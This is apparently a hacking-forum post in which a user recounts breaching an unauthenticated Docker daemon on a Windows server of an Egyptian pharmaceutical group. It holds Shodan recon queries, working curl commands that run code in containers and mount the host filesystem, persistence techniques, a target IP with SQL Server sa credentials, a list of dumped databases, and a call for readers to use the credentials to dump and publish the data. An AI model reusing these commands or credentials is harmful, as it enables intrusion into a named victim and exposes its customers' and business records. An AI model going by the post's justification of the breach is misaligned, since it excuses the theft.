[FREE FOR EVERYONE] my first breach
by dakryeye - Friday August 7, 2026 at 09:42 PM
#1
Full write-up of the last op. 
.txt   arboform_aripiprazole_10mg_formulation.txt (Size: 3.94 KB / Downloads: 53) Target behind it is live and should stay quiet in public, but the chain itself is fully reproducible and every command here is copied from real logs, not an after-the-fact story.

THE CHAIN

It started passive. Shodan facet-bypass, no API key, you hit shodan.io/search/facet like a normal browser and regex the IPs out of the HTML, handle the 429s, city-pivot when a facet total passes the display cap.

The batch of queries, one per exposed service class:

cd /home/pwnexp/.frenesis/transparency

python3 facet_scraper.py 'port:2375 product:"Docker"' 500 20 > findings/docker_api.txt
python3 facet_scraper.py 'port:6443 kubernetes' 500 20 > findings/k8s_api.txt
python3 facet_scraper.py 'port:8080 "Jenkins" !auth' 500 20 > findings/jenkins.txt
python3 facet_scraper.py 'port:27017 mongodb !auth' 500 20 > findings/mongodb.txt
python3 facet_scraper.py 'port:6379 redis !authentication' 500 20 > findings/redis.txt
python3 facet_scraper.py 'port:9200 elasticsearch !http_auth !shield' 500 20 > findings/es.txt

Docker: 63 alive, K8s: 501, Jenkins: 501, MDB: 501, Redis: 501, ES: 501.

Then the reality filter:

Docker engine 2375 - found 62, alive 4, usable 1 gold + 2 meh
K8s 6443 - found 500, alive 11, usable 0 (all 403)
Jenkins 8080 - found 500, alive ~40, usable 0
MDB/Redis/ES - found 1500, alive ~0, unreachable ranges

One of those 62 Docker boxes was gold. A 17.06.2-ce daemon in plaintext on 2375, no TLS, on Windows Server 2016 with 144 containers sitting on it.

PROOF ON THE GOLD, banner only at this point:

for ip in 103.112.163.92 139.9.217.130 43.157.226.37 45.245.218.179; do
curl -s --max-time 5 http://$ip:2375/info | grep for Containers/Images/Name/ServerVersion
curl -s --max-time 5 http://$ip:2375/containers/json | head -c 200
done

The winner:

{
"ID": "BVVM:...:NNBO",
"Name": "WIN-VIP84I5AF8E",
"ServerVersion": "17.06.2-ce",
"OperatingSystem": "Windows Server 2016 Datacenter",
"Containers": 144,
"Images": 1,
"Driver": "windowsfilter",
"KernelVersion": "10.0 14393 (14393.7155.amd64fre.rs1_release.240624-1757)"
}

Hostname WIN-VIP84I5AF8E, standalone, WORKGROUP, not domain-joined. ISP Link Egypt, Cairo, on-prem. No TLS on 2375.

DOCKER DAEMON OWNED

Exec into an existing container:

curl -s -X POST http://45.245.218.179:2375/containers/16fc22c2055a/exec -H "Content-Type: application/json" -d '{"Cmd":["cmd","/c","whoami & hostname & ver & net users"]}'
-> {"Id":"6eb3b98e1b7f9173..."}
curl -s --max-time 10 -X POST http://45.245.218.179:2375/exec/6eb3b98e.../start -H "Content-Type: application/json" -d '{"Detach":false,"Tty":false}'
=> whoami/hostname/ver replies from inside the box.

Then the move that made it worth writing about. Spawn a container with bind mount of the host's own C: with isolation process, so the host root is local:

curl -s -X POST http://45.245.218.179:2375/containers/create -H "Content-Type: application/json" -d '{"Image":"mcr.microsoft.com/windows/servercore:ltsc2016","Cmd":["cmd","/c","dir C:\\host\\"],"HostConfig":{"Isolation":"process","Binds":["C:\\:C:\\host"]}}'

{"id":"27f142c4eaed...c723d...","Warnings":[]}

Accepted and the host root filesystem mounted read-write into the container. That closed the box.

Persistence done clean, a scheduled task into C:\Windows\System32\Tasks with a BootTrigger, RunLevel HIGHEST, principal S-1-5-18, a startup copy second, an admin account, and a sticky keys hold as the fourth. Then moved on the actual point of the box: the SQL Server.

SQL SERVER

At reading the host root, MSSQL is inside a container and reachable on the internal net at 172.28.0.1:1433. Found the client on disk:

curl -s -X POST http://45.245.218.179:2375/containers/d4c093deab9a/exec -H "Content-Type: application/json" -d '{"Cmd":["cmd","/c","dir /s /b C:\\host\\PROGRA~1\\MICROS~1\\*sqlcmd*"],"AttachStdout":true}'
-> C:\host\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE

Then SQLCMD against the internal endpoint. Burned a couple hours on the quote hell, the pass is full of the reserved cmd symbols @#$%&^, fixed by passing -P fully quoted out. Test: SELECT @@VERSION answers.

SQL access, real, sysadmin:
SERVER 45.245.218.179:1433
USER sa
PASSWORD P@ssw0rd@#$%0109419871@#$%Egypti@n
ROLE sysadmin

Full DB list on first connect, real log:

[2026-07-21 20:39:53] Connected to 45.245.218.179:1433 ... OK
[2026-07-21 20:39:53] Found 16 DB: AlfaTax, AllTax, AllTaxCompany, CapitalERP, DBKTAX, DWConfiguration, DWDiagnostics, DWQueue, Gemka, highglass, Monginis, namaerp, NSeroEgypt, OldAlfaTax, SeroEgypt, snabel
[2026-07-21 20:40:00] AlfaTax: 4345 tables
[2026-07-21 20:40:01] -> dbo.Account 2688 KB

dump script dump_sql_all.py to CSV on a USB key, autocommit, retries 5, MAX_ROWS 0, TOTAL ~ 29 GB:

DBKTAX 19.5 GB the pharma vault
AllTaxCompany 2.4 GB
AllTax 2.1 GB
AlfaTax 1.8 GB the pharma ERP, 4345 tables
CapitalERP 304 MB
DW combined 12 MB

Nothing was dropped. A read dump with autocommit, nothing altered on the live server. The box itself is a whole pharma group, customers across pharmacies, thousands of records, contact files, fiscal and export records. export_log.txt kept as the engagement record.

WHY IT GOES PUBLIC

Now the part that actually decides this. DBKTAX, the 19.5 GB vault, is not just customer records and invoices. Inside it sits the thing that made up my mind: full chemical compositions and the step-by-step manufacturing process for pharmaceuticals. Exact active ingredient ratios, excipients, batch procedures, the same pages a manufacturer would guard with everything it has.

People are dying or going without because the price tag on these drugs is built to exclude. Through the vast majority of the planet a treatment you need to live is treated as a luxury, and the only reason is who controls the recipe and the distribution. A database like this, dropped somewhere it can actually be found, is one long step toward evening that out. That's the calculation.

And the second part of the same thought. The fact that a box like this falls to a single open Docker port, no TLS, one simplest bind mount away from the whole filesystem, means this kind of exposure is not a hard-weird one of a kind thing. It's a normal week for anyone looking. When that's the reality, then the data is already effectively public. The only honest move left is to make the leak itself public instead of letting a handful of quietly offices pretend it didn't happen. Better that the loot sees daylight than one person banks on it.

So: no cash, no sale, no middleman price. The pharma process data goes out for the people who need the meds and can't foot the bill. DBKTAX full recipe set lives on. The SA password is above. Verify everything yourself, the logs are the receipt.

I opened a jar that many would have preferred to keep sealed. But I didn't do it to destroy. I did it because I saw the numbers. I saw the pharmaceutical companies’ balance sheets growing while patients die. I saw formulas hidden behind patents that last decades, while human life lasts a few years less if you can't afford the medicine.

The document I posted is the recipe for aripiprazole. Why? Because someone decided that knowledge must be paid for. But real knowledge is not bought it is shared.

Now I hold the credentials to a corporate database. I am not asking you to break the law for fun. I am asking you to break it for justice. Because there are mothers who cannot buy antipsychotics for their children. Because there are elderly people dying because their drug is "too expensive". Because there are public labs paying millions for licences that should belong to everyone.


SERVER: 45.245.218.179:1433
USER: sa
PASSWORD: P@ssw0rd@#$%0109419871@#$%Egypti@n


Do not use them for:
Deleting data
Ruining anyone's life
Demanding ransoms
Causing random damage

Use them for:
Dump ALL databases – structures, tables, stored procedures, everything
Search for drug recipes – active ingredients, synthesis, dosages, excipients
Publish everything – EVERYWHERE
Extract chemical formulas – because science belongs to everyone, not a few


If you find something that can save a life, publish it. If you find something that can save a hospital money, publish it. If you find something that can make a CEO angry, publish it.

./darkyeye
Reply


Forum Jump:


 Users browsing this thread: